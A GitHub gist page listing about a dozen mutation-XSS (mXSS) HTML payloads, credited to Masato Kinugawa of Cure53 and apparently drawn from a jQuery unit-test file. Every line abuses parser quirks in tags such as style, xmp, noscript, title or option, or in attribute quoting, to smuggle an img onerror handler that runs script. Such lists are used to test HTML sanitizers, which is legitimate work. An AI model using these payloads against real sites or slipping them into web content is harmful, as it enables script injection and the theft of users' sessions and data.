Skip to content

Instantly share code, notes, and snippets.

@irsdl
Last active December 30, 2021 21:47
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 5 You must be signed in to fork a gist
  • Save irsdl/d524c5b050a53cca24b30d8eed5386fd to your computer and use it in GitHub Desktop.
Save irsdl/d524c5b050a53cca24b30d8eed5386fd to your computer and use it in GitHub Desktop.
some mXSS samples
<img alt="<x" title="/><img src=url404 onerror=xss(0)>">
<img alt="
<x" title="/>
<img src=url404 onerror=xss(1)>">
<style><style/><img src=url404 onerror=xss(2)>
<xmp><xmp/><img src=url404 onerror=xss(3)>
<title><title /><img src=url404 onerror=xss(4)>
<iframe><iframe/><img src=url404 onerror=xss(5)>
<noframes><noframes/><img src=url404 onerror=xss(6)>
<noembed><noembed/><img src=url404 onerror=xss(7)>
<noscript><noscript/><img src=url404 onerror=xss(8)>
<foo" alt="" title="/><img src=url404 onerror=xss(9)>">
<img alt="<x" title="" src="/><img src=url404 onerror=xss(10)>">
<noscript/><img src=url404 onerror=xss(11)>
<option><style></option></select><img src=url404 onerror=xss(12)></style>
Source:
by Masato Kinugawa from Cure53:
https://github.com/mgol/jquery/blob/75429b4e4124d41d224cc28c21d45831e0b49c0f/test/unit/manipulation.js
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment